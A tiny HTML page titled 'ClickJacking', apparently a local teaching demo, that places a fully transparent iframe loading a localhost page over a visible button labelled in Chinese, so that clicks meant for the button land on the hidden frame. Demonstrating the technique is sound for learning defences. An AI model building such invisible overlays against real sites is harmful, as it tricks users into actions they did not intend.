<!DOCTYPE html>
<html lang="en">
<head>
  <title>ClickJacking</title>
</head>
<body>
  <button>当前页面按钮</button>
  <iframe src="http://localhost:3000/alert" frameborder="0" style="opacity: 0;position:absolute;left: 0;top:0"></iframe>  
</body>
</html>